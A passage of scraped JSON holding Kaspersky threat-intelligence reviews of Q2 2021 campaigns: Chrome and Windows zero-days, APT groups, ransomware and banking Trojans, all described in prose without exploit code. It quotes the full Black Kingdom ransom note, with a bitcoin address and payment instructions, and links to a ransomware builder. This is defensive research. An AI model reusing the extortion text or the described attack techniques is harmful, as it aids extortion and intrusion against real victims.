(RCE) in the Chrome web-browser, we were able to find and analyze an Escalation of Privilege (EoP) exploit used to escape the sandbox and obtain system privileges. This EoP exploit was fine-tuned to work against the latest and most prominent builds of Windows 10 (17763 - RS5, 18362 - 19H1, 18363 - 19H2, 19041 - 20H1, 19042 - 20H2), and exploits two distinct vulnerabilities in the Microsoft Windows OS kernel.\n\nOn April 20, we reported these vulnerabilities to Microsoft and they assigned CVE-2021-31955 to the Information Disclosure vulnerability and CVE-2021-31956 to the EoP vulnerability. Both vulnerabilities were patched on June 8, as a part of the June Patch Tuesday.\n\nThe exploit-chain attempts to install malware in the system through a dropper. The malware starts as a system service and loads the payload, a "remote shell"-style backdoor, which in turns connects to the C2 to get commands.\n\nWe weren't able to find any connections or overlaps with a known threat actor, so we tentatively named this cluster of activity [PuzzleMaker](<https://securelist.com/puzzlemaker-chrome-zero-day-exploit-chain/102771/>).\n\n### Andariel adds ransomware to its toolset\n\nIn April, we discovered a suspicious Word document containing a Korean file name and decoy uploaded to VirusTotal. The document contained an unfamiliar macro and used novel techniques to implant the next payload. Our telemetry revealed two infection methods used in these attacks, with each payload having its own loader for execution in memory. The threat actor only delivered the final stage payload for selected victims.\n\n[![](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/06/15094853/Andariel_delivered_ransomware_01-1024x272.png)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/06/15094853/Andariel_delivered_ransomware_01.png>)\n\nDuring the course of our research, Malwarebytes published a [report](<https://blog.malwarebytes.com/malwarebytes-news/2021/04/lazarus-apt-conceals-malicious-code-within-bmp-file-to-drop-its-rat/>) with technical details about the same series of attacks, which attributed it to the Lazarus group. However, after thorough analysis, we reached the conclusion that the attacks were the work of Andariel, a sub-group of Lazarus, based on code overlaps between the second stage payload in this campaign and previous malware from this threat actor.\n\nHistorically, Andariel has mainly targeted organizations in South Korea; and our telemetry suggests that this is also the case in this campaign. We confirmed several victims in the manufacturing, home network service, media and construction sectors.\n\n[![](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/06/15095550/Andariel_delivered_ransomware_08-1024x629.png)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/06/15095550/Andariel_delivered_ransomware_08.png>)\n\nWe also found additional connections with the Andariel group. Each threat actor has a characteristic habit when they interactively work with a backdoor shell in the post-exploitation phase of an attack. The way Windows commands and their options were used in this campaign is almost identical to previous Andariel activity.\n\nNotably, in addition to the final backdoor, we discovered one victim infected with custom ransomware, underlying the financial motivation of this threat actor.\n\n### Ferocious Kitten\n\n[Ferocious Kitten](<https://securelist.com/ferocious-kitten-6-years-of-covert-surveillance-in-iran/102806/>) is an APT threat actor that has targeted Persian-speaking individuals who appear to be based in Iran. The group has mostly operated under the radar and, as far as we know, has not been covered by security researchers. The threat actor attracted attention recently when a lure document was uploaded to VirusTotal and went public thanks to [researchers on Twitter](<https://twitter.com/reddrip7/status/1366703445990723585?s=21>). Since then, one of its implants [has been analyzed](<http://www.hackdig.com/03/hack-293629.htm>) by a Chinese threat intelligence firm.\n\nWe were able to expand on some of the findings about the group and provide insights into the additional variants that it uses. The malware dropped from the lure document, dubbed "MarkiRAT", records keystrokes, clipboard content, and provides file download and upload capabilities as well as the ability to execute arbitrary commands on the victim's computer. We were able to trace the implant back to at least 2015, along with variants intended to hijack the execution of Telegram and Chrome applications as a persistence method.\n\nFerocious Kitten is one of the groups that operate in a wider eco-system intended to track individuals in Iran. Such threat groups aren't reported very often; and so are able to re-use infrastructure and toolsets without worrying about them being taken down or flagged by security solutions. Some of the TTPs used by this threat actor are reminiscent of other groups that are active against a similar set of targets, such as Domestic Kitten and Rampant Kitten.\n\n## Other malware\n\n### Evolution of JSWorm ransomware\n\nWhile ransomware has been around for a long time, it has evolved over time as attackers have improved their technologies and refined their tactics. We have seen a shift away from the random, speculative attacks of five years ago, and even from the massive outbreaks such as [WannaCry](<https://securelist.com/wannacry-faq-what-you-need-to-know-today/78411/>) and [NotPetya](<https://securelist.com/expetrpetyanotpetya-is-a-wiper-not-ransomware/78902/>). Many ransomware gangs have switched to the more profitable tactic of "big-game hunting"; and news of ransomware attacks affecting large corporations, and even critical infrastructure installations, has become commonplace. Moreover, there's now a [well-developed eco-system underpinning ransomware attacks](<https://securelist.com/ransomware-world-in-2021/102169/>).\n\nAs a result, even though [the number of ransomware attacks has fallen](<https://securelist.com/ransomware-by-the-numbers-reassessing-the-threats-global-impact/101965/>), and individuals are probably less likely to encounter ransomware than a few years ago, the threat to organizations is greater than ever.\n\nWe recently published analysis of one such ransomware family, named [JSWorm](<https://securelist.com/evolution-of-jsworm-ransomware/102428/>). This malware was discovered in 2019, and since then different variants have gained notoriety under various names such as Nemty, Nefilim, Offwhite and others.\n\n[![](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/24115814/JSworm_malware_01-1024x341.png)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/24115814/JSworm_malware_01.png>)\n\nEach "re-branded" version has included alterations to different aspects of the code \u2013 file extensions, cryptographic schemes, encryption keys, programming language and distribution model. Since it emerged, JSWorm has developed from a typical mass-scale ransomware threat affecting mostly individual users into a typical big-game hunting ransomware threat attacking high-profile targets and demanding massive ransom payments.\n\n### Black Kingdom ransomware\n\n[Black Kingdom](<https://securelist.com/black-kingdom-ransomware/102873/>) first appeared in 2019; in 2020 the group was observed exploiting vulnerabilities (such as CVE-2019-11510) in its attacks. In recent activity, the ransomware was used by an unknown adversary for exploiting a Microsoft Exchange vulnerability (CVE-2021-27065, aka [ProxyLogon](<https://proxylogon.com/>)). This ransomware family is much less sophisticated than other [Ransomware-as-a-Service](<https://encyclopedia.kaspersky.com/glossary/ransomware-as-a-service-raas/?utm_source=securelist&utm_medium=blog&utm_campaign=termin-explanation>) (RaaS) or big game hunting families. The group's involvement in the Microsoft Exchange exploitation campaign suggests opportunism rather than a resurgence in activity from this ransomware family.\n\nThe malware is coded in Python and compiled to an executable using PyInstaller. The ransomware supports two encryption modes: one generated dynamically and one using a hardcoded key. Code analysis revealed an amateurish development cycle and the possibility of recovering files that have been encrypted with Black Kingdom with the help of the hardcoded key. At the time of analysis, there was already a [script to recover files encrypted with the embedded key](<https://blog.cyberint.com/black-kingdom-ransomware>).\n\nBlack Kingdom changes the desktop background to a note that the system is infected while it encrypts files, disabling the mouse and keyboard as it does so.\n \n \n ***************************\n | We Are Back ?\n ***************************\n \n We hacked your (( Network )), and now all files, documents, images,\n databases and other important data are safely encrypted using the strongest algorithms ever.\n You cannot access any of your files or services .\n But do not worry. You can restore everthing and get back business very soon ( depends on your actions )\n \n before I tell how you can restore your data, you have to know certain things :\n \n We have downloaded most of your data ( especially important data ) , and if you don't contact us within 2 days, your data will be released to the public.\n \n To see what happens to those who didn't contact us, just google : ( Blackkingdom Ransomware )\n \n ***************************\n | What guarantees ?\n ***************************\n \n We understand your stress and anxiety. So you have a free opportunity to test our service by instantly decrypting one or two files for free\n just send the files you want to decrypt to (support_blackkingdom2@protonmail.com\n \n ***************************************************\n | How to contact us and recover all of your files ?\n ***************************************************\n \n The only way to recover your files and protect from data leaks, is to purchase a unique private key for you that we only posses .\n \n \n [ + ] Instructions:\n \n 1- Send the decrypt_file.txt file to the following email ===> support_blackkingdom2@protonmail.com\n \n 2- send the following amount of US dollars ( 10,000 ) worth of bitcoin to this address :\n \n [ 1Lf8ZzcEhhRiXpk6YNQFpCJcUisiXb34FT ]\n \n 3- confirm your payment by sending the transfer url to our email address\n \n 4- After you submit the payment, the data will be removed from our servers, and the decoder will be given to you,\n so that you can recover all your files.\n \n ## Note ##\n \n Dear system administrators, do not think you can handle it on your own. Notify your supervisors as soon as possible.\n By hiding the truth and not communicating with us, what happened will be published on social media and yet in news websites.\n \n Your ID ==>\n FDHJ91CUSzXTquLpqAnP\n\nAfter decompiling the Python code, we discovered that the code base for Black Kingdom has its origins in an open-source ransomware builder [available on GitHub](<https://github.com/BuchiDen/Ransomware_RAASNet/blob/master/RAASNet.py>). The group adapted parts of the code, adding features that were not originally presented in the builder, such as the hardcoded key. We were not able to attribute Black Kingdom to any known threat group.\n\nBased on our telemetry, we could see only a few hits by Black Kingdom in Italy and Japan.\n\n### Gootkit: the cautious banking Trojan\n\n[Gootkit](<https://securelist.com/gootkit-the-cautious-trojan/102731/>) belongs to a class of Trojans that are extremely tenacious, but not widespread. Since it's not very common, new versions of the Trojan may remain under the researchers' radar for long periods.\n\nIt is complex multi-stage banking malware, which was initially discovered by Doctor Web in 2014. Initially, it was distributed via spam and exploits kits such as Spelevo and RIG. In conjunction with spam campaigns, the adversaries later switched to compromised websites where visitors are tricked into downloading the malware.\n\nGootkit is capable of stealing data from the browser, performing man-in-the-browser attacks, keylogging, taking screenshots, and lots of other malicious actions. The Trojan's loader performs various virtual machine and sandbox checks and uses sophisticated persistence algorithms.\n\nIn 2019, Gootkit stopped operating after it experienced a [data leak](<https://www.zdnet.com/article/gootkit-malware-crew-left-their-database-exposed-online-without-a-password/>), but has been [active again](<https://www.bleepingcomputer.com/news/security/gootkit-malware-returns-to-life-alongside-revil-ransomware/>) since November 2020. Most of the victims are located in EU countries such as Germany and Italy.\n\n### Bizarro banking Trojan expands into Europe\n\nBizarro is one more banking Trojan family originating from Brazil that is now found in other parts of the world. We have seen people being targeted in Spain, Portugal, France and Italy. This malware has been used to steal credentials from customers of 70 banks from different European and South American countries.\n\n[![](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/14143631/Bizarro_trojan_13.png)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/14143631/Bizarro_trojan_13.png>)\n\nAs with [Tetrade](<https://securelist.com/the-tetrade-brazilian-banking-malware/97779/>), Bizarro uses affiliates or recruits money mules to cash out or simply to help with money transfers.\n\nBizarro is distributed via MSI packages downloaded by victims from links in spam emails. Once launched, it downloads a ZIP archive from a compromised website. We observed hacked WordPress, Amazon and Azure servers used by the Trojan for storing archives. The backdoor, which is the core component of Bizarro, contains more than 100 commands and allows the attackers to steal online banking account credentials. Most of the commands are used to display fake pop-up messages and seek to trick people into entering two-factor authentication codes. The Trojan may also use social engineering to convince victims to download a smartphone app.\n\n[![](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/14143359/Bizarro_trojan_12-1024x762.png)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/14143359/Bizarro_trojan_12.png>)\n\nBizarro is one of several banking Trojans from South America that have extended their operations into other regions \u2013 mainly Europe. They include Guildma, Javali, Melcoz, Grandoreiro and Amavaldo.\n\n[![](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/17095011/Map_of_Brazilian_families-1024x1024.jpeg)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/17095011/Map_of_Brazilian_families.jpeg>)\n\n### Malicious code in APKPure app\n\nIn early April, we [discovered malicious code in version 3.17.18 of the official client of the APKPure app store](<https://securelist.com/apkpure-android-app-store-infected/101845/>), a popular alternative source of Android apps. [The incident seems to be similar to what happened with CamScanner](<https://www.kaspersky.com/blog/camscanner-malicious-android-app/28156/>), when the app's developer implemented an adware SDK from an unverified source.\n\nWhen launched, the embedded Trojan dropper, which our solutions detect as HEUR:Trojan-Dropper.AndroidOS.Triada.ap, unpacks and runs its payload, which is able to show ads on the lock screen, open browser tabs, collect information about the device, and download other malicious code. The Trojan downloaded depends on the version of Android and how recently security updates have been installed. In the case of relatively recent versions of the operating system (Android 8 or higher) it loads additional modules for the [Triada Trojan](<https://www.kaspersky.com/blog/triada-trojan/11481/>). If the device is older (Android 6 or 7, and without security updates installed) it could be the [xHelper Trojan](<https://securelist.com/unkillable-xhelper-and-a-trojan-matryoshka/96487/>).\n\nWe reported the issue to APKPure on April 8. APKPure acknowledged the problem the following day and, soon afterwards, posted a new version (3.17.19) that does not contain the malicious component.\n\n### Browser lockers\n\nBrowser lockers are designed to prevent the victim from using their browser unless they pay a ransom. The "locking" consists of preventing the victim from leaving the current tab, which displays intimidating messages, often with sound and visual effects. The locker tries to trick the victim into making a payment with threats of losing data or legal liability.\n\nThis type of fraud has long been on the radar of researchers, and over the last decade there have been numerous browser locking campaigns targeting people worldwide. The tricks used by the scammers include imitating the infamous "[Blue Screen of Death](<https://encyclopedia.kaspersky.com/glossary/blue-screen-of-death-bsod/?utm_source=securelist&utm_medium=blog&utm_campaign=termin-explanation>)" (BSOD) in the browser, false warnings about system errors or detected malware, threats to encrypt files and legal liability notices.\n\nIn our [report on browser lockers](<https://securelist.com/browser-lockers-extortion-disguised-as-a-fine/101735/>), we examined two families of lockers that mimic government websites.\n\n[![](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/04/01145253/MVD_fake_sites_07-1024x952.jpeg)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/04/01145253/MVD_fake_sites_07-scaled.jpeg>)\n\nBoth families spread mainly via advertising networks, primarily aimed at selling "adult" content and movies in an intrusive manner; for example, through tabs or windows that open on top of the visited site when loading a page with an embedded ad module (pop-ups), or after clicking anywhere on the page (click-unders).\n\nThese threats are not technically complex: they simply aim to create the illusion of having locked the computer and intimidate victims into paying money. Landing on such a page by mistake will not harm your device or compromise your data, as long as you don't fall for the cybercriminals' smoke-and-mirror tactics.\n\n### Malware targets Apple M1 chip\n\nLast November, Apple unveiled its M1 chip. The new chip, which has replaced Intel processors in several of its products, is based on ARM architecture instead of the x86 architecture traditionally used in personal computers. This lays the foundation for Apple to switch completely to its own processors and unify its software under a single architecture. Unfortunately, just months after the release, [malware writers had already adapted several malware families to the new processor](<https://securelist.com/malware-for-the-new-apple-silicon-platform/101137/>).\n\n### Attempted supply-chain attack using PHP\n\nIn March, [unknown attackers tried to carry out a supply-chain attack by introducing malicious code to the PHP scripting language](<https://www.kaspersky.com/blog/php-git-backdor/39191/>). The developers of PHP make changes to the code using a common repository built on the GIT version control system. The attackers tried to add a backdoor to the code. Fortunately, a developer noticed something suspicious during a routine check. Had they not done so, the backdoor might have allowed attackers to run malicious code remotely on web servers, in around 80 per cent of which (web servers) PHP is used.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 6.0}, "published": "2021-08-12T10:00:37", "type": "securelist", "title": "IT threat evolution Q2 2021", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-0802", "CVE-2019-11510", "CVE-2021-1732", "CVE-2021-27065", "CVE-2021-28310", "CVE-2021-31955", "CVE-2021-31956"], "modified": "2021-08-12T10:00:37", "id": "SECURELIST:934E8AA177A27150B87EC15F920BF350", "href": "https://securelist.com/it-threat-evolution-q2-2021/103597/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-08-04T10:41:58", "description": "![](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/03/12083054/green_digits_abstract-990x400.jpg)\n\nFor more than four years, the Global Research and Analysis Team (GReAT) at Kaspersky has been publishing quarterly summaries of advanced persistent threat (APT) activity. The summaries are based on our threat intelligence research and provide a representative snapshot of what we have published and discussed in greater detail in our private APT reports. They are designed to highlight the significant events and findings that we feel people should be aware of.\n\nThis is our latest installment, focusing on activities that we observed during Q2 2021.\n\nReaders who would like to learn more about our intelligence reports or request more information on a specific report are encouraged to contact [intelreports@kaspersky.com](<mailto:intelreports@kaspersky.com>).\n\n## The most remarkable findings\n\nInvestigating the recent Microsoft Exchange vulnerabilities we and our colleagues from AMR found an attacker deploying a previously unknown backdoor, "FourteenHi", in a campaign that we dubbed ExCone, active since mid-March. During our investigation we revealed multiple tools and variants of FourteenHi, configured with infrastructure that FireEye reported as being related to the UNC2643 activity cluster. Moreover, we saw ShadowPad detections coincide with FourteenHi variant infections, possibly hinting at a shared operator between these two malware families.\n\nFourteenHi abuses the popular VLC media player to execute its loader. It is capable of performing basic backdoor functions. Further investigation also revealed scripts used by the actor to gain situational awareness post-exploitation, as well as previous use of the infrastructure to operate Cobalt Strike Beacon.\n\nAlthough we couldn't directly attribute this activity to any known threat actor, we found older, highly similar 64-bit samples of the backdoor used in close proximity with ShadowPad malware, mostly known for its operations involving supply-chain attacks as an infection vector. Notably, we also found one C2 IP used in a 64-bit sample reportedly used in the UNC2643 activity set, associated with the HAFNIUM threat actor, also using Cobalt Strike, DLL side-loading and exploiting the same Exchange vulnerabilities.\n\n## Russian-speaking activity\n\nOn May 27 and 28, details regarding an ongoing email campaign against diplomatic entities throughout Europe and North America were released by Volexity and Microsoft. These attacks were attributed to Nobelium and APT29 by Microsoft and Volexity respectively. While we were able to verify the malware and possible targeting for this cluster of activity, we haven't been able to make a definitive assessment at this time about which threat actor is responsible, although we found ties to Kazuar. We have designated it as a new threat actor and named it "HotCousin". The attacks began with a spear-phishing email which led to an ISO file container being stored on disk and mounted. From here, the victim was presented with a LNK file made to look like a folder within an Explorer window. If the victim double clicked on it, the LNK then executed a loader written in .NET referred to as BoomBox, or a DLL. The execution chain ultimately ended with a Cobalt Strike beacon payload being loaded into memory. According to public blogs, targeting was widespread but focused primarily on diplomatic entities throughout Europe and North America: based on the content of the lure documents bundled with the malware, this assessment appears to be accurate. This cluster of activity was conducted methodically beginning in January with selective targeting and slow operational pace, then ramping up and ending in May. There are indications of previous activity from this threat actor dating back to at least October 2020, based on other Cobalt Strike payloads and loaders bearing similar toolmarks.\n\n## Chinese-speaking activity\n\nWhile investigating a recent rise of attacks against Exchange servers, we noticed a recurring cluster of activity that appeared in several distinct compromised networks. This cluster stood out because it used a formerly unknown Windows kernel mode rootkit and a sophisticated multi-stage malware framework aimed at providing remote control over the attacked servers. The former is used to hide the user mode malware's artefacts from investigators and security solutions, while demonstrating an interesting loading scheme involving the kernel mode component of an open source project named "Cheat Engine" to bypass the Windows Driver Signature Enforcement mechanism. We were able to determine that this toolset had been in use from as early as July 2020; and that the threat actor was mostly focused on Southeast Asian targets, including several governmental entities and telecoms companies. Since this was a long-standing operation, with high-profile victims, an advanced toolset and no affinity to a known threat actor, we decided to name the underlying cluster "GhostEmperor".\n\nAPT31 (aka ZIRCONIUM) is a Chinese-speaking intrusion set. This threat actor set up an ORB (Operational Relay Boxes) infrastructure, composed of several compromised SOHO routers, to target entities based in Europe (and perhaps elsewhere). As of the publication of our report in May, we had seen these ORBs used to relay Cobalt Strike communications and for anonymization proxying purposes. It is likely that APT31 uses them for other implants and ends as well (for example, exploit or malware staging). Most of the infrastructure put in place by APT31 comprises compromised Pakedge routers (RK1, RE1 and RE2). This little-known constructor specializes in small enterprise routers and network devices. So far, we don't know which specific vulnerability has been exploited by the intrusion set to compromise the routers. Nor do we currently possess telemetry that would provide further visibility into this campaign. We will, of course, continue to track these activities.\n\nFollowing our previous report on EdwardsPheasant, DomainTools and BitDefender published articles about malicious activities against targets in Southeast Asia which we believe, with medium to high confidence, are parts of EdwardsPheasant campaigns. While tracking the activities of this threat actor, analyzing samples discovered or provided by third parties, and investigating from public IoCs, we discovered an updated DropPhone implant, an additional implant loaded by FoundCore's shellcode, several possible new infection documents and malicious domain names, as well as additional targets. While we do not believe we have a complete picture of this set of activities yet, our report this quarter marks a significant step further in understanding its extent.\n\nA Chinese-speaking APT compromised a certificate authority in Mongolia and replaced digital certificate management client software with a malicious downloader in February. We are tracking this group as BountyGlad. Related infrastructure was identified and used in multiple other incidents: interesting related activity included server-side attacks on WebSphere and WebLogic services in Hong Kong; and on the client-side, Trojanized Flash Player installers. The group demonstrated an increase in strategic sophistication with this supply-chain attack. While replacing a legitimate installer on a high value website like a certificate authority requires a medium level of skill and coordination, the technical sophistication is not on par with ShadowHammer. And while the group deploys fairly interesting, but simplistic, steganography to cloak its shellcode, we think it was probably generated with code that has been publicly available for years. Previous activity also connected with this group relied heavily on spear-phishing and Cobalt Strike throughout 2020. Some activity involved PowerShell commands and loader variants different from the downloaders presented in our recent report. In addition to spear-phishing, the group appears to rely on publicly available exploits to penetrate unpatched target systems. They use implants and C2 (Command and Control) code that are a mix of both publicly available and privately shared across multiple Chinese-speaking APTs. We are able to connect infrastructure across multiple incidents. Some of those were focused on Western targets in 2020. Some of the infrastructure listed in an FBI Flash alert published in May 2020, targeting US organizations conducting COVID-19 research, was also used by BountyGlad.\n\nWhile investigating users infected with the TPCon backdoor, previously discussed in a private report, we detected loaders which are part of a new multi-plugin malware framework that we named "QSC", which allows attackers to load and run plugins in-memory. We attribute the use of this framework to Chinese-speaking groups, based on some overlaps in victimology and infrastructure with other known tools used by these groups. We have so far observed the malware loading a Command shell and File Manager plugins in-memory. We believe the framework has been used in the wild since April 2020, based on the compilation timestamp of the oldest sample found. However, our telemetry suggests that the framework is still in use: the latest activity we detected was in March this year.\n\nEarlier this month, Rostelecom Solar and NCIRCC issued a joint public report describing a series of attacks against networks of government entities in Russia. The report described a formerly unknown actor leveraging an infection chain that leads to the deployment of two implants - WebDav-O and Mail-O. Those, in conjunction with other post-exploitation activity, have led to network-wide infections in the targeted organizations that resulted in exfiltration of sensitive data. We were able to trace the WebDav-O implant's activity in our telemetry to at least 2018, indicating government affiliated targets based in Belarus. Based on our investigation, we were able to find additional variants of the malware and observe some of the commands executed by the attackers on the compromised machines.\n\nWe discovered a cluster of activity targeting telecom operators within a specific region. The bulk of this activity took place from May to October 2020. This activity made use of several malware families and tools; but the infrastructure, a staging directory, and in-country target profiles tie them together. The actors deployed a previously unknown passive backdoor, that we call "TPCon", as a primary implant. It was later used to perform both reconnaissance within target organizations and to deploy a post-compromise toolset made up mostly of publicly available tools. We also found other previously unknown active backdoors, that we call "evsroin", used as secondary implants. Another interesting find was a related loader (found in a staging directory) that loaded a KABA1 implant variant. KABA1 was an implant used against targets throughout the South China Sea that we attributed to the Naikon APT back in 2016. On another note, on the affected hosts we found additional multiple malware families shared by Chinese-speaking actors, such as ShadowPad and Quarian backdoors. These did not seem to be directly connected to the TPCon/evsroin incidents because the supporting infrastructure appeared to be completely separate. One of the ShadowPad samples appears to have been detected in 2020, while the others were detected well before that, in 2019. Besides the Naikon tie, we found some overlaps with previously reported IceFog and IamTheKing activities.\n\n## Middle East\n\nBlackShadow is a threat group that became known after exfiltrating sensitive documents from Shirbit, an Israeli insurance company, and demanding a ransom in exchange for not releasing the information in its possession. Since then, the group has made more headlines, breaching another company in Israel and publishing a trove of documents containing customer related information on Telegram. Following this, we found several samples of the group's unique .NET backdoor in our telemetry that were formerly unknown to us, one of which was recently detected in Saudi Arabia. By pivoting on new infrastructure indicators that we observed in those samples, we were able to find a particular C2 server that was contacted by a malicious Android implant and shows ties to the group's activity.\n\nWe previously covered a WildPressure campaign against targets in the Middle East . Keeping track of the threat actor's malware this spring, we were able to find a newer version (1.6.1) of their C++ Trojan, a corresponding VBScript variant with the same version and a completely new set of modules, including an orchestrator and three plugins. This confirms our previous assumption that there are more last-stagers besides the C++ ones, based on one of the fields in the C2 communication protocol which contains the "client" programming language. Another language used by WildPressure is Python. The PyInstaller module for Windows contains a script named "Guard". Perhaps the most interesting finding here is that this malware was developed for both Windows and macOS operating systems. In this case, the hardcoded version is 2.2.1. The coding style, overall design and C2 communication protocol is quite recognisable across all programming languages used by the attackers. The malware used by WildPressure is still under active development in terms of versions and programming languages in use. Although we could not associate WildPressure's activity with other threat actors, we did find minor similarities in the TTPs (Tactics, Techniques and Procedures) used by BlackShadow, which is also active in the same region. However, we consider that these similarities serve as minor ties and are not enough to make any attribution.\n\nWe discovered an ongoing campaign that we attribute to an actor named WIRTE, beginning in late 2019, targeting multiple sectors, focused on the Middle East. WIRTE is a lesser-known threat actor first publicly referenced in 2019, which we suspect has relations with the Gaza Cybergang threat actor group. During our hunting efforts, in February, for threat actor groups that are using VBS/VBA implants, we came across MS Excel droppers that use hidden spreadsheets and VBA macros to drop their first stage implant - a VBS script. The VBS script's main function is to collect system information and execute arbitrary code sent by the attackers. Although we recently reported on a new Muddywater first stage VBS implant used for reconnaissance and profiling activities, these intrusion sets have slightly different TTPs and wider targeting. To date, we have recorded victims focused in the Middle East and a few other countries outside this region. Despite various industries being affected, the focus was mainly towards government and diplomatic entities; however, we also noticed an unusual targeting of law firms.\n\nGoldenJackal is the name we have given to a cluster of activity, recently discovered in our telemetry, that has been active since November 2019. This intrusion set consists of a set of .NET-based implants that are intended to control victim machines and exfiltrate certain files from them, suggesting that the actor's primary motivation is espionage. Furthermore, the implants were found in a restricted set of machines associated with diplomatic entities in the Middle East. Analysis of the aforementioned malware, as well as the accompanied detection logs, portray a capable and moderately stealthy actor. This can be substantiated by the successful foothold gained by the underlying actor in the few organizations we came across, all the while keeping a low signature and ambiguous footprint.\n\n## Southeast Asia and Korean Peninsula\n\nThe ScarCruft group is a geo-political motivated APT group that usually attacks government entities, diplomats and individuals associated with North Korean affairs. Following our last report about this group, we had not seen its activities for almost a year. However, we observed that ScarCruft compromised a North Korea-related news media website in January, beginning a campaign that was active until March. The attackers utilized the same exploit chains, CVE-2020-1380 and CVE-2020-0986, also used in [Operation Powerfall](<https://securelist.com/operation-powerfall-cve-2020-0986-and-variants/98329/>). Based on the exploit code and infection scheme characteristics, we suspect that Operation PowerFall has a connection with the ScarCruft group. The exploit chain contains several stages of shellcode execution, finally deploying a Windows executable payload in memory. We discovered several victims from South Korea and Singapore. Besides this watering-hole attack, this group also used Windows executable malware concealing its payload. This malware, dubbed "ATTACK-SYSTEM", also used multi-stage shellcode infection to deliver the same final payload named "BlueLight". BlueLight uses OneDrive for C2. Historically, ScarCruft malware, especially RokRat, took advantage of personal cloud servers as C2 servers, such as pCloud, Box, Dropbox, and Yandex.\n\nIn May 2020, the Criminal Investigation Bureau (CIB) of Taiwan published an announcement about an attack targeting Taiwanese legislators. Based on their information, an unknown attacker sent spear-phishing emails using a fake presidential palace email account, delivering malware we dubbed "Palwan". Palwan is malware capable of performing basic backdoor functionality as well as downloading further modules with additional capabilities. Analysing the malware, we discovered another campaign, active in parallel, targeting Nepal. We also found two more waves of attacks launched against Nepal in October 2020 and in January this year using Palwan malware variants. We suspect that the targeted sector in Nepal is similar to the one reported by the CIB of Taiwan. Investigating the infrastructure used in the Nepal campaigns, we spotted an overlap with Dropping Elephant activity. However, we don't deem this overlap sufficient to attribute this activity to the Dropping Elephant threat actor.\n\nBlueNoroff is a long-standing, financially motivated APT group that has been targeting the financial industry for years. In recent operations, the group has focused on cryptocurrency businesses. Since the publication of our research of BlueNoroff's "SnatchCrypto" campaign in 2020, the group's strategy to deliver malware has evolved. In this campaign, BlueNoroff used a malicious Word document exploiting CVE-2017-0199, a remote template injection vulnerability. The injected template contains a Visual Basic script, which is responsible for decoding the next payload from the initial Word document and injecting it into a legitimate process. The injected payload creates a persistent backdoor on the victim's machine. We observed several types of backdoor. For further surveillance of the victim, the malware operator may also deploy additional tools. BlueNoroff has notably set up fake blockchain, or cryptocurrency-related, company websites for this campaign, to lure potential victims and initiate the infection process. Numerous decoy documents were used, which contain business and nondisclosure agreements as well as business introductions. When compared to the previous SnatchCrypto campaign, the BlueNoroff group utilized a similar backdoor and PowerShell agent but changed the initial infection vector. Windows shortcut files attached to spear-phishing emails used to be the starting point for an infection: they have now been replaced by weaponized Word documents.\n\nWe have discovered [Andariel activity](<https://securelist.com/andariel-evolves-to-target-south-korea-with-ransomware/102811/>) using a revised infection scheme and custom ransomware targeting a broad spectrum of industries located in South Korea. In April, we observed a suspicious document containing a Korean file name and decoy uploaded to VirusTotal. It revealed a novel infection scheme and an unfamiliar payload. During the course of our research, Malwarebytes published a report with technical details about the same series of attacks, which attributed it to the Lazarus group. After a deep analysis we reached a different conclusion - that the Andariel group was behind these attacks. Code overlaps between the second stage payload in this campaign and previous malware from the Andariel group allowed for this attribution. Apart from the code similarity and the victimology, we found additional connections with the Andariel group. Each threat actor has a characteristic habit when they interactively work with a backdoor shell in the post-exploitation phase. The way Windows commands and their options were used in this campaign is almost identical to previous Andariel activity. The threat actor has been spreading the third stage payload since the middle of 2020 and leveraged malicious Word documents and files mimicking PDF documents as infection vectors. Notably, in addition to the final backdoor, we discovered one victim infected with custom ransomware. This ransomware adds another facet to this Andariel campaign, which also sought financial profit in a previous operation involving the compromise of ATMs.\n\nWe recently uncovered a large-scale and highly active attack in Southeast Asia coming from a threat actor we dubbed [LuminousMoth](<https://securelist.com/apt-luminousmoth/103332/>). Further analysis revealed that this malicious activity dates back to October 2020 and was still ongoing at the time we reported it in June. LuminousMoth takes advantage of DLL sideloading to download and execute a Cobalt Strike payload. However, perhaps the most interesting part of this attack is its capability to spread to other hosts by infecting USB drives. In addition to the malicious DLLs, the attackers also deployed a signed, but fake version of the popular application Zoom on some infected systems, enabling them to exfiltrate files; and an additional tool that accesses a victim's Gmail session by stealing cookies from the Chrome browser. Infrastructure ties as well as shared TTPs allude to a possible connection between LuminousMoth and the HoneyMyte threat group, which was seen targeting the same region and using similar tools in the past. Most early sightings of this activity were in Myanmar, but it now appears that the attackers are much more active in the Philippines, where the number of 